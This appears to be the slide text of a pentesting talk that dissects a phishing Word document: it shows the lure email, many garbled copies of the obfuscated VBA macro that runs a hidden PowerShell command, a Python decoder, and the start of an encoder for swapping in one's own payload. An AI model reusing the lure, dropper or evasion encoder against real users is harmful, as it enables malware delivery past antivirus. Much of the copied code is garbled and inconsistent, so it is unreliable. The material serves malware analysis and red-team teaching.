Wrangling Malware For Fun and Pentesting
Presenting

John Freimuth
Penetration Tester
Security Researcher

Alex Stockwell
Software Engineer
Web Application Dev
WHY WRANGLE?
WHY WRANGLE?

Use what works
WHY WRANGLE?

Mimic real world attacks
WHY WRANGLE?

Help the blue team
Butchering The Malware Attack Vector
Today's Talk

User Reported the Phishing Attempt

User Reported the Phishing Attempt
The phishing email had been sent to multiple employees and executives.
The email contained a single Word Document attached
- AV Macro detection wasn’t detecting
- Normal tools / methods to extract macro failed
- 3rd party sandbox tools were unavailable
- O(bf)us+ca.ted macro prevented call out URL extraction
Dear Lisa P,

This is an urgent billing alert regarding a past due invoice (INV1150). You have a past due invoice in your Sage One Accounting system. We have sent the invoice via email (USD001479). To view the invoice:

1. Enable Content in Microsoft Word menu
2. Select from the list below and click on it.

Thank you,
Greg Brown,
Hr/ Accounting Admin
American Baptist Homes West
The Payload

- *Safely* pull macro from document
- Attempt to de-obfuscate macro
- Attempt to re-use encoding methods
- Replace payload with our own safe payload
- Test Test Test
Reverse Engineering Goals

1. Understand the code
2. Manipulate the code
3. Re-purpose the code
Attacking Obfuscation: Battle Plan
Attaclng Obfuscation

- Start with formatting the code as it sits
Public Sub Image1_Click()
   CXWjEhw
   End Sub
Public Sub Image2_Click()
   CXWjEhw
   End Sub
Public Function d(ByVal TulBS As String, ByVal cBhKhF As String) As String
   For YKyKuM = 1 To Len(TulBS)
      lmkDZ = vSVGg(TulBS, YKyKuM)
   If Not TcHEMh(cBhKhF, lmkDZ) Then
      d = lmkDZ & d
   End If
   Next
   End Function
Public Function vSVGg(ByVal JALtGs As String, ByVal YKyKuM As Integer) As String
   vSVGg = Mid(JALtGs, YKyKuM, 1)
   End Function
Public Function TcHEMh(ByVal ZTwdzJ As String, ByVal ChqnCo As String) As Boolean
   TcHEMh = InStr(ZTwdzJ, ChqnCo)
   End Function
Public Sub nWTulP(ByVal AKJsQ As String)
   Set VGHlkJ = CreateObject(d("lg/l2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wggRxv"))
   VGHlkJ.Run AKJsQ, 0
   End Sub
Public Function QXQDKY() As String
   QXQDKY = d("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 40pYToimn-1m GYnzedRdm2iB8h zXDwUB- Y6lkUleFmh9FEYs6re8PwV78opJ")
   End Function
Public Function OpnflV() As String
   OpnflV = d("Lqf8sq(HcveUxE0B.4Kkv) lXUHlBehMJSkL.tRXpVHir3UL0cS7H0wzB m4XJ6ocJZ-B XqtVcke05jYB8Kb7q0-U58w2eNL")
   End Function
Public Sub CXWjEhw()
   nWTulP QXQDKY
   End Sub
Public Sub Image1_Click()
    CXWjEhw
End Sub
Public Sub Image2_Click()
    CXWjEhw
End Sub
Public Function d(ByVal TulBS As String, ByVal cBhKhF As String) As String
    For YKyKuM = 1 To Len(TulBS)
        lmkDZ = vSVGg(TulBS, YKyKuM)
        If Not TcHEMh(cBhKhF, lmkDZ) Then
            d = lmkDZ & d
        End If
    Next
End Function
Public Function vSVGg(ByVal JALtGs As String, ByVal YKyKuM As Integer) As String
    vSVGg = Mid(JALtGs, YKyKuM, 1)
End Function
Public Function TcHEMh(ByVal ZTwdzJ As String, ByVal ChqnCo As String) As Boolean
    TcHEMh = InStr(ZTwdzJ, ChqnCo)
End Function
Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHLkJ = CreateObject(d("lgl2seFvhwGSb5.Dt5Rpi4r08Yc5xWk", "Gsb4Y250DF8wgkxRv"))
    VGHLkJ.Run AKJsQ, 0
End Sub
Public Function QXQDKY() As String
    QXQDKY = d("K VGcv-jx Xs9Xsqap9X9yvb Cfpret-LR 40pYTomn-1m GYnzeRdm2iB8h zXDWUB- Y6lkUleFmh9FEYs6re8PwV78opJ")
End Function
Public Function OpnflV() As String
    OpnflV = d("L$qf8$q(HcveUxE0B.4Kkv) LXUH\BehMJSkL.tRXpVHir3UL0c57H0wzB m4XJ6ocJZ-B XqtVcke05jYB8Kb7q0-U58w2eNL")
End Function
Public Sub CXWjEhw()
    nWTulP QXQDKY
End Sub
Public Sub Image1_Click()
    CXwJehw
    End Sub

Public Sub Image2_Click()
    CXwJehw
    End Sub

Public Function d(ByVal TulBS As String, ByVal cBhKhF As String) As String
    For YKyKuM = 1 To Len(TulBS)
        lmkDZ = vSVGg(TulBS, YKyKuM)
    Next
    If Not TcHEMh(cBhKhF, lmkDZ) Then
        d = lmkDZ & d
    End If
End Function

Public Function vSVGg(ByVal JALtGs As String, ByVal YKyKuM As Integer) As String
    vSVGg = Mid(JALtGs, YKyKuM, 1)
End Function

Public Function TcHEMh(ByVal ZTwdzJ As String, ByVal ChqnCo As String) As Boolean
    TcHEMh = InStr(ZTwdzJ, ChqnCo)
End Function

Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.Run AKJsQ, 0
End Sub

Public Function QXQDkY() As String
    QXQDkY = d("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 40pYTomn-1m GYnzedRdm2iB8h zXDwUB- Y6lkUleFmh9FEYs6re8PwV78opJ"
End Function

Public Function OpnflV() As String
    OpnflV = d("HxYaRqG/Neysw5QR AIkuL1YUWlRbhMl5ku_ARXcVHi2ULo5SH9w9B nAYf6s11J B XoTYkx0E5eXPR9b240 U9B-QeWn
"
Public Sub Image1_Click()
    CXWjEhw
End Sub

Public Sub Image2_Click()
    CXWjEhw
End Sub

Public Function d(ByVal TulBS As String, ByVal cBhKhF As String) As String
    For KYKyKuM = 1 To Len(TulBS)
        lmkDZ = vSVGg(TulBS, KYKyKuM)
        If Not TcHEMh(cBhKhF, lmkDZ) Then
            d = lmkDZ & d
        End If
    Next
End Function

Public Function vSVGg(ByVal JALtGs As String, ByVal KYKyKuM As Integer) As String
    vSVGg = Mid(JALtGs, KYKyKuM, 1)
End Function

Public Function TcHEMh(ByVal ZTwdzJ As String, ByVal ChqnCo As String) As Boolean
    TcHEMh = InStr(ZTwdzJ, ChqnCo)
End Function

Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject("lgl2seFvhwGsb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.Run AKJsQ, 0
End Sub

Public Function QXQDKY() As String
    QXQDKY = d("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 40pYTomn-1m GYnzedRdm2iB8h zXDwUB- Y6lkUleFmh9FEYs6re8PwV78")
End Function

Public Function QenflX() As String
Attacking Obfuscation

- Start with formatting the code as it sits
- Create an outline and note methods and interesting pieces of code
Attacking Obfuscation

- Start with formatting the code as it sits
- Create an outline and note methods and interesting pieces of code
- Keep notes of interesting patterns. Make comments and flag code that stands out
Public Sub Image1_Click()
    CXWjEhw
End Sub

Public Sub Image2_Click()
    CXWjEhw
End Sub

Public Function d(ByVal TulBS As String, ByVal cBhKhF As String) As String
    For YKyKuM = 1 To Len(TulBS)
        lmkDZ = vSVGg(TulBS, YKyKuM)
        If Not TcHEMh(cBhKhF, lmkDZ) Then
            d = lmkDZ & d
        End If
    Next
End Function

Public Function vSVGg(ByVal JALtGs As String, ByVal YKyKuM As Integer) As String
    vSVGg = Mid(JALtGs, YKyKuM, 1)
End Function

Public Function TcHEMh(ByVal ZTwdzJ As String, ByVal ChqnCo As String) As Boolean
    TcHEMh = InStr(ZTwdzJ, ChqnCo)
End Function

Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject(d("lgl2seFvhwG5b5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv"))
    VGHlkJ.Run AKJsQ, 0
End Sub

Public Function QXQDky() As String
    QXQDky = d("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 40pYTomn-1m GYnzedRdm2iB8h zXDwUB- Y6lkUleFmh9FEYs6re8PwV78")
End Function
Public Sub Image1_Click()
    CXWjEt
End Sub

Public Sub Image2_Click()
    CXWjEt
End Sub

Function takes 2 strings as arguments, and returns 1 string:
Public Function d(ByVal TulBS As String, ByVal cBhKhF As String)
    For YKyKuM = 1 To Len(TulBS)
        TulBS = Mid(TulBS, YKyKuM, 1)
    Next YKyKuM
    TulBS = Mid(TulBS, YKyKuM, 1)
    TulBS = Trim(TulBS)
End Function

Subroutine takes a String, appears to execute:
Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject(d("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv"))
    VGHlkJ.Run AKJsQ, 0
End Sub

Public Function vSVGg(ByVal JALtGs As String, ByVal YKyKuM As Integer) As String
    vSVGg = Mid(JALtGs, YKyKuM, 1)
End Function

Function takes 2 strings, and returns a boolean value:
Public Function TcHEMh(ByVal ZTwdzJ As String, ByVal ChqnCo As String) As Boolean
    TcHEMh = InStr(ZTwdzJ, ChqnCo)
End Function

Subroutine takes a String, appears to execute .Run method, DANGER!!!
Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject(d("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv"))
    VGHlkJ.Run AKJsQ, 0
End Sub
Attacking Obfuscation

- Start with formatting the code as it sits
- Create an outline and note methods and interesting pieces of code
- Keep notes of interesting patterns. Make comments and flag code that stands out
- Rename functions/variable names more sensibly (no impact on program execution)
' Entry point (clicking an image) calls malicious function
Public Sub Image1_Click()
  Call init_malware
  ...
End Sub

' Entry point (clicking an image) calls malicious function
Public Sub Image2_Click()
  Call init_malware
End Sub

' Function takes 2 strings as arguments, and returns 1 string
Public Function d(ByVal TulBS As String, ByVal cBhKhF As String) As String
  For YKykum = 1 To Len(TulBS)
    lmKdZ = vSVGg(TulBS, YKykum)
  Next
  If Not TcHEMh(cBhKhF, lmKdZ) Then
    d = lmKdZ & d
  End If
End Function

' Function takes 1 string and 1 number, and returns 1 string
Public Function vSVGg(ByVal JALtGs As String, ByVal YKykUM As Integer) As String
  vSVGg = Mid(JALtGs, YKykUM, 1)
End Function

' Function takes 2 strings, and returns a boolean value
Public Function TcHEMh(ByVal ZTwdzJ As String, ByVal ChqnCo As String) As Boolean
  TcHEMh = InStr(ZTwdzJ, ChqnCo)
End Function

' Subroutine takes a string, appears to execute .Run method, DANGER!!!
Public Sub mWTulP(ByVal AKJsQ As String)
  Set VGHlkJ = CreateObject(d("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv"))
  VGHlkJ.Run AKJsQ, 0
End Sub
Attacking Obfuscation

- Keep notes of interesting patterns. Make comments and flag code that stands out
- Rename functions/variable names more sensibly (no impact on program execution)
- Look for language keywords and built-in functions as sign-posts
For...Next Statement (Visual Basic)

Repeats a group of statements a specified number of times.

For counter [ As datatype ] = start To end [ Step step ]
[ statements ]
[ Exit For ]
[ statements ]
Next [ counter ]
Public Sub Image1_Click()
    init_malware
End Sub

Public Sub Image2_Click()
    init_malware
End Sub

Public Function d(ByVal TuLBS As String, ByVal cBhKhF As String) As String
    For i = 1 To Len(TuLBS)
        SVGg = TuLBS

        If Not TcHEMh(cBhKhF, lmkDZ) Then
            d = lmkDZ & d
        End If
    Next
End Function

Public Function vSVGg(ByVal E As String, ByVal Integer) As String
    vSVGg = Mid(JALtGs,
End Function

Public Function TcHEMh(ByVal ZTwdzJ As String, ByVal ChqnCo As String) As Boolean
    TcHEMh = InStr(ZTwdzJ, ChqnCo)
End Function

Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject(d("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv"))
    VGHlkJ.Run AKJsQ, 0
End Sub
InStr Function (Visual Basic)

Returns an integer specifying the start position of the first occurrence of one string within another.

```vbnet
Public Shared Function InStr(_
    ByVal String1 As String, _
    ByVal String2 As String, _
    Optional ByVal Compare As CompareMethod _
) As Integer
    ' -or-
    Public Shared Function InStr(_
        ByVal Start As Integer, _
        ByVal String1 As String, _
        ByVal String2 As String, _
        Optional ByVal Compare As Microsoft.VisualBasic.CompareMethod _
    ) As Integer
End Function
```

'Function takes 2 strings, and returns a boolean value
Public Function TcHEMH(ByVal ZtwdzJ As String, ByVal ChqnCo As String) As Boolean
    TcHEMH = InStr(ZtwdzJ, ChqnCo)
End Function

'Subroutine takes a String, appears to execute .Run method, DANGER!!!
Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.Run AKJsQ, 0
End Sub
Public Sub Image1_Click()
    init_malware
End Sub

Public Sub Image2_Click()
    init_malware
End Sub

Public Function d(ByVal TuLBs As String, ByVal cbKhs As String) As String
    For index = 1 To Len(TuLBs)
        lmkDZ = vSVGg(TuLBs, index)
        If Not TcHEMh(cbKhs, lmkDZ) Then
            d = lmkDZ & d
        End If
    Next
End Function

Public Function vSVGg(ByVal JALtGs As String, ByVal index As Integer) As String
    vSVGg = Mid(JALtGs, index, 1)
End Function

Public Function TcHEMh(ByVal StringToSearchIn As String, ByVal SearchCharacter As String) As Boolean
    TcHEMh = InStr(StringToSearchIn, SearchCharacter)
End Function

Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.Run AKJsQ, 0
End Sub
'Entry point (clicking an image) calls malicious function
Public Sub Image1_Click()
    init_malware
End Sub

'Entry point (clicking an image) calls malicious function
Public Sub Image2_Click()
    init_malware
End Sub

'Function takes 2 strings as arguments, and returns 1 string
Public Function d(ByVal Tu1BS As String, ByVal cBhKhF As String) As String
    For index = 1 To Len(Tu1BS)
        lmkDZ = vSVGg(Tu1BS, index)

        If Not SearchInString(cBhKhF, lmkDZ) Then
            d = lmkDZ & d
        End If
    Next
End Function

'Function takes 1 string and 1 number, and returns 1 string
Public Function vSVGg(ByVal jALtGs As String, ByVal index As Integer) As String
    vSVGg = Mid(jALtGs, index, 1)
End Function

'Function takes 2 strings, and returns a boolean value
Public Function SearchInString(ByVal StringToSearchIn As String, ByVal SearchCharacter As String) As Boolean
    SearchInString = InStr(StringToSearchIn, SearchCharacter)
End Function

'Subroutine takes a String, appears to execute .Run method, DANGER!!
Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.Run AKJsQ, 0
End Sub
Public Sub Image1_Click()
    init_malware
End Sub

Public Sub Image2_Click()
    init_malware
End Sub

Function takes 2 strings as arguments, and returns 1 string
Public Function d(ByVal TuLBS As String, ByVal StringToSearchIn As String) As String
    For index = 1 To Len(TuLBS)
        SearchCharacter = vSVGg(TuLBS, index)
    Next
    If Not InStr(StringToSearchIn, SearchCharacter) Then
        d = SearchCharacter & d
    End If
End Function

Function takes 1 string and 1 number, and returns 1 string
Public Function vSVGg(ByVal JALTgs As String, ByVal index As Integer) As String
    vSVGg = Mid(JALTgs, index, 1)
End Function

Function takes 2 strings, and returns a boolean value
Public Function SearchInString(ByVal StringToSearchIn As String, ByVal SearchCharacter As String) As Boolean
    SearchInString = InStr(StringToSearchIn, SearchCharacter)
End Function

Subroutine takes a String, appears to execute .Run method, DANGER!!
Public Sub nWTulP(ByVal AKJsQ As String)
    Set VGHlkJ = CreateObject(d("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkRxVv"))
    VGHlkJ.Run AKJsQ, 0
End Sub
Rinse and repeat...

Deobfuscating remaining code
12% complete

Don’t turn off your PC. This will take a while.
The “good stuff”, where the magic happens, etc.
If Not SearchInString(StringToSearchIn, SearchCharacter) Then
    d = SearchCharacter & d
End If
Next
End Function

'Function takes 1 string and 1 number, and returns 1 string
Public Function GetNextCharacter_FromString_atIndex(ByVal charString As String, ByVal index As Integer) As String
    GetNextCharacter_FromString_atIndex = Mid(charString, index, 1)
End Function

'Function takes 2 strings, and returns a boolean value
Public Function SearchInString(ByVal StringToSearchIn As String, ByVal SearchCharacter As String) As Boolean
    SearchInString = InStr(StringToSearchIn, SearchCharacter)
End Function

'Subroutine takes a String, appears to execute .Run method, DANGER!!!
Public Sub BuildObjectAndExecuteIt(ByVal DangerousPayloadResult As String)
    Set VGHlkJ = CreateObject("lGl2seFvhwG5b5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.run DangerousPayloadResult, 0
End Sub

Public Function DangerousPayload() As String
    DangerousPayload = decode("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 40pYTmnn-1m GYnzedRdm2iB8h zXDwUB- Y6lkUleFm")
End Function

' Appended to DangerousPayload result
Public Function DangerousPayloadSuffix() As String
    DangerousPayloadSuffix = decode("L)qf8$q(HcvuXeO8.4Kkv)lXUHlBehMJSkL.tRXpVHir3UL0cS7H0WzB m4XJ6ocJZ-B Xq")
End Function

Public Sub init_malware()
    BuildObjectAndExecuteIt DangerousPayload
End Sub
Public Sub Image1_Click()
    init_malware
End Sub

Public Sub Image2_Click()
    init_malware
End Sub

Public Function decode(ByVal TuLBS As String, ByVal StringToSearchIn As String) As String
    For index = 1 To Len(TuLBS)
        SearchCharacter = GetNextCharacter_FromString_atIndex(TuLBS, index)
        If Not SearchInString(StringToSearchIn, SearchCharacter) Then
            d = SearchCharacter & d
        End If
    Next
End Function

Public Function GetNextCharacter_FromString_atIndex(ByVal charString As String, ByVal index As Integer) As String
    GetNextCharacter_FromString_atIndex = Mid(charString, index, 1)
End Function

Public Function SearchInString(ByVal StringToSearchIn As String, ByVal SearchCharacter As String) As Boolean
    SearchInString = InStr(StringToSearchIn, SearchCharacter)
End Function

Public Sub BuildObjectAndExecuteIt(ByVal DangerousPayloadResult As String)
    Set VGHlkJ = CreateObject("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.Run DangerousPayloadResult, 0
End Sub
Public Sub Image1_Click()
    init_malware
End Sub

Public Sub Image2_Click()
    init_malware
End Sub

Public Function decode(ByVal Tu1BS As String, ByVal StringToSearchIn As String) As String
    For index = 1 To Len(Tu1BS)
        SearchCharacter = GetNextCharacter_FromString_atIndex(Tu1BS, index)
        If Not SearchInString(StringToSearchIn, SearchCharacter) Then
            d = SearchCharacter & d
        End If
    Next
End Function

Public Function GetNextCharacter_FromString_atIndex(ByVal charString As String, ByVal index As Integer) As String
    GetNextCharacter_FromString_atIndex = Mid(charString, index, 1)
End Function

Public Function SearchInString(ByVal StringToSearchIn As String, ByVal SearchCharacter As String) As Boolean
    SearchInString = InStr(StringToSearchIn, SearchCharacter)
End Function

Public Sub BuildObjectAndExecuteIt(ByVal DangerousPayloadResult As String)
    Set VGHlkJ = CreateObject("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.Run DangerousPayloadResult, 0
End Sub
What did I just watch?

• Look for the entry points to the program (macros, clicks, etc)
• Identify method calls
• Demystify the function/variable names
• Find the de-obfuscation routine

43
Next: figure out the program flow

- Attempt to print real code for validation
- Re-write code
  (if possible)
- Lookout for red herrings
  (code that isn’t required or made to throw you off; bloat)
Public Sub Image1_Click()
    init_malware
End Sub

Public Sub Image2_Click()
    init_malware
End Sub

'Function takes 2 strings as arguments, and returns 1 string
Public Function decode(ByVal TulBS As String, ByVal StringToSearchIn As String) As String
    For index = 1 To Len(TulBS)
        SearchCharacter = GetNextCharacter_FromString_atIndex(TulBS, index)
        If Not SearchInString(StringToSearchIn, SearchCharacter) Then
            d = SearchCharacter & d
        End If
    Next
End Function

'Function takes 1 string and 1 number, and returns 1 string
Public Function GetNextCharacter_FromString_atIndex(ByVal charString As String, ByVal index As Integer) As String
    GetNextCharacter_FromString_atIndex = Mid(charString, index, 1)
End Function

'Function takes 2 strings, and returns a boolean value
Public Function SearchInString(ByVal StringToSearchIn As String, ByVal SearchCharacter As String) As Boolean
    SearchInString = InStr(StringToSearchIn, SearchCharacter)
End Function

'Subroutine takes a string, appears to execute .Run method, DANGER!!!
Public Sub BuildObjectAndExecuteIt(ByVal DangerousPayloadResult As String)
    Set VGHlkJ = CreateObject("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgkxRv")
    VGHlkJ.Run DangerousPayloadResult, 0
End Sub
'Entry point (clicking an image) calls malicious function
Public Sub Image1_Click()
    init_malware
End Sub

'Entry point (clicking an image) calls malicious function
Public Sub Image2_Click()
    init_malware
End Sub

'Function takes 2 strings as arguments, and returns 1 string
Public Function decode(ByVal LongString_LooksLikeContent As String, ByVal ShortString_LooksLikeKey As String) As String
    ' For each character in the ContentString...
    For index = 1 To Len(LongString_LooksLikeContent)
        ' Get the current character...
        SearchCharacter = GetNextCharacter_FromString_atIndex(LongString_LooksLikeContent, index)
        ' If the current character is NOT in the KeyString, then...
        If Not SearchInString(ShortString_LooksLikeKey, SearchCharacter) Then
            ' PREPEND the current character to a string `d`
            d = SearchCharacter & d
        End If
    Next
End Function

'Function takes 1 string and 1 number, and returns 1 string
Public Function GetNextCharacter_FromString_atIndex(ByVal charString As String, ByVal index As Integer) As String
    GetNextCharacter_FromString_atIndex = Mid(charString, index, 1)
End Function

'Function takes 2 strings, and returns a boolean value
Public Function SearchInString(ByVal ShortString_LooksLikeKey As String, ByVal SearchCharacter As String) As Boolean
    SearchInString = InStr(ShortString_LooksLikeKey, SearchCharacter)
End Function
• To encode, we must first decode
• Using a language more friendly than VB...
• Use our notes
• Test our code against our quick and dirty de-obfuscation results
# Function takes 2 strings as arguments, and returns 1 string
#   For each character in the ContentString...
#     ' Get the current character...
#     ' If the current character is NOT in the KeyString, then...
#     ' PREPEND the current character to the DecodedString
# 'Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#   ' Get the current character...
#   ' If the current character is NOT in the KeyString, then...
#   ' PREPEND the current character to the DecodedString

def decode_payload(encoded_payload, key_filter):
    decoded = ""

    return decoded
def decode_payload(encoded_payload, key_filter):
    decoded = ""
    for current_char in encoded_payload:
        if current_char not in key_filter:
            decoded = current_char + decoded
    return decoded
Is that all??

Let's test…

take the decode function payloads from the malware, and run them through our function…
# Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#   ' Get the current character...
#   ' If the current character is NOT in the KeyString, then...
#   ' PREPEND the current character to the DecodedString

def decode_payload(encoded_payload, key_filter):
    decoded = ""

    for current_char in encoded_payload:
        if current_char not in key_filter:
            decoded = current_char + decoded

    return decoded

# Subroutine takes a String, appears to execute .Run method, DANGER!!!
# Public Sub BuildObjectAndExecuteIt(ByVal DangerousPayloadResult As String)
#   Set ScaryObject = CreateObject(decode("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgKxRv"))
#   ScaryObject.Run DangerousPayloadResult, 0
# End Sub

# Public Function DangerousPayload() As String
#   DangerousPayload = decode("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 4OpYTomm-1m GYnzedRdm2iB8h zXDwUB- Y6lkUle
# End Function

# Appended to DangerousPayload result
# Public Function DangerousPayloadSuffix() As String
#   DangerousPayloadSuffix = decode("L)qf8$q(HcveUxE0B.4Kkv)lXUHlBehMJSkL.tRXpVHi"r3UL0cs7H0WzB m4XJ6ocJZ-B
# End Function
```python
def decode_payload(encoded_payload, key_filter):
    decoded = ""

    for current_char in encoded_payload:
        if current_char not in key_filter:
            decoded = current_char + decoded

    return decoded
```

```python
print(decode_payload("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgKxRv"))
```

```python
# Subroutine takes a String, appears to execute .Run method, DANGER!!!
# Public Sub BuildObjectAndExecuteIt(ByVal DangerousPayloadResult As String)
#     Set ScaryObject = CreateObject(decode("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgKxRv"))
#     ScaryObject.Run DangerousPayloadResult, 0
# End Sub
print(decode_payload("lgl2seFvhwGSb5.Dt5Rpi4r08YcSxWk", "Gsb4Y250DF8wgKxRv"))
```

```python
# Public Function DangerousPayload() As String
#     DangerousPayload = decode("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 40pYTomn-1m GYnzedRdm2iB8h zX DwUB- Y6lkUleFmh9FEYs6re"
# End Function
print(decode_payload("K VGcv-jx Xs9Xsqap9X9yvb CfpRe-LR 40pYTomn-1m GYnzedRdm2iB8h zX DwUB- Y6lkUleFmh9FEYs6re"))
```

```python
# ' Appended to DangerousPayload result
# Public Function DangerousPayloadSuffix() As String
#     DangerousPayloadSuffix = decode("L)qfB$q(HcveUXE0B.4Kkv)lXUHlBehMJSkL.tRXpVHir3UL0cS7H0wzB m4XJ6ocJZ-B XqtVcke05jYB8Kb7q"
# End Function
print(decode_payload("L)qfB$q(HcveUXE0B.4Kkv)lXUHlBehMJSkL.tRXpVHir3UL0cS7H0wzB m4XJ6ocJZ-B XqtVcke05jYB8Kb7q"))
```
```powershell
```
powershell -w hidden -nop -ep bypass -c
Building our own Encoder

• We want to use our own payload
• We need to get it encoded such that the decoder will render it as plain text
• True reverse-engineering, hard-hat area
• Start with the decoder function... and build on it
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#     ' Get the current character...
#     ' If the current character is NOT in the KeyString, then...
#     ' PREPEND the current character to the DecodedString
First things first

Let’s invert the function signature
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#   ' Get the current character...
#   ' If the current character is NOT in the KeyString, then...
#   ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings
encode(obfuscate_me)
Build the KeyString

obfuscate_me = "calc.exe"

List_of_Chars = "bdfghijkmnopqrstuvwxyz!@#$%^&*()"

KeyString = "bdfghijkmnopqrstuvwxyz!@#$%^&*()"
encode(obfuscate_me)

Encode with KEYSTRING

KeySTRING = "bdfghijklmnopqrstuvwxyz!@#$%^&*()"

obfuscated = "me$%!@xmp!(estudfg.&)@cb$olm#awyc()"
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#     ' Get the current character...
#     ' If the current character is NOT in the KeyString, then...
#       ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#     ' Get the current character...
#     ' If the current character is NOT in the KeyString, then...
#     ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings
#   create AllChars (a list of all characters)...
#   For each character in the PayloadToEncode...
#     Remove the character from the AllChars list
#     Now AllChars ONLY contains characters that are NOT in our PayloadToEncode
#   The characters left in AllChars are now our KeyString
#   create blank string variable EncodedPayload
#   For each character in the PayloadToEncode...
#     PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
#   return EncodedPayload and KeyString
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#   # ' Get the current character...
#   # ' If the current character is NOT in the KeyString, then...
#   # ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings

def encode_payload(payload):
    # create AllChars (a list of all characters)...
    # For each character in the PayloadToEncode...
    #   Remove the character from the AllChars list
    #   Now AllChars ONLY contains characters that are NOT in our PayloadToEncode
    # The characters left in AllChars are now our KeyString
    # create blank string variable EncodedPayload
    # For each character in the PayloadToEncode...
    #   PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
    # return EncodedPayload and KeyString
# TO DECODE:
# Function takes 2 strings as arguments, and returns 1 string
# ' For each character in the ContentString...
# ' Get the current character...
# ' If the current character is NOT in the KeyString, then...
# ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings

def encode_payload(payload):
    # create AllChars (a list of all characters)...
    # For each character in the PayloadToEncode...
    # Remove the character from the AllChars list
    # Now AllChars ONLY contains characters that are NOT in our PayloadToEncode
    # The characters left in AllChars are now our KeyString
    # create blank string variable EncodedPayload
    # For each character in the PayloadToEncode...
    # PREPEND the character AND a randomly-selected character from the KeyString to EncodedPayload
    # return EncodedPayload and KeyString

    return {'encoded_payload': '', 'key_string': ''}
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
#   ' For each character in the ContentString...
#   ' Get the current character...
#   ' If the current character is NOT in the KeyString, then...
#   ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings

def encode_payload(payload):
    # create AllChars (a list of all characters)...
    ascii_chars = [chr(i) for i in xrange(32, 127)]

    # For each character in the PayloadToEncode...
    #   ' Remove the character from the AllChars list

    return {"encoded_payload": "", "key_string": ""}
# TO DECODE:
# 'Function takes 2 strings as arguments, and returns 1 string
# ' For each character in the ContentString...
# ' Get the current character...
# ' If the current character is NOT in the KeyString, then...
# ' PREPEND the current character to the DecodedString

# TO ENCODE:
# Function takes 1 string as argument, and returns 2 strings

def encode_payload(payload):
    # create AllChars (a list of all characters)...
    ascii_chars = [chr(i) for i in xrange(32, 127)]

    # For each character in the PayloadToEncode...
    for c in payload:
        # Remove the character from the AllChars list
        try:
            ascii_chars.remove(c)
        except:
            pass

    # Now AllChars ONLY contains characters that are NOT in our PayloadToEncode

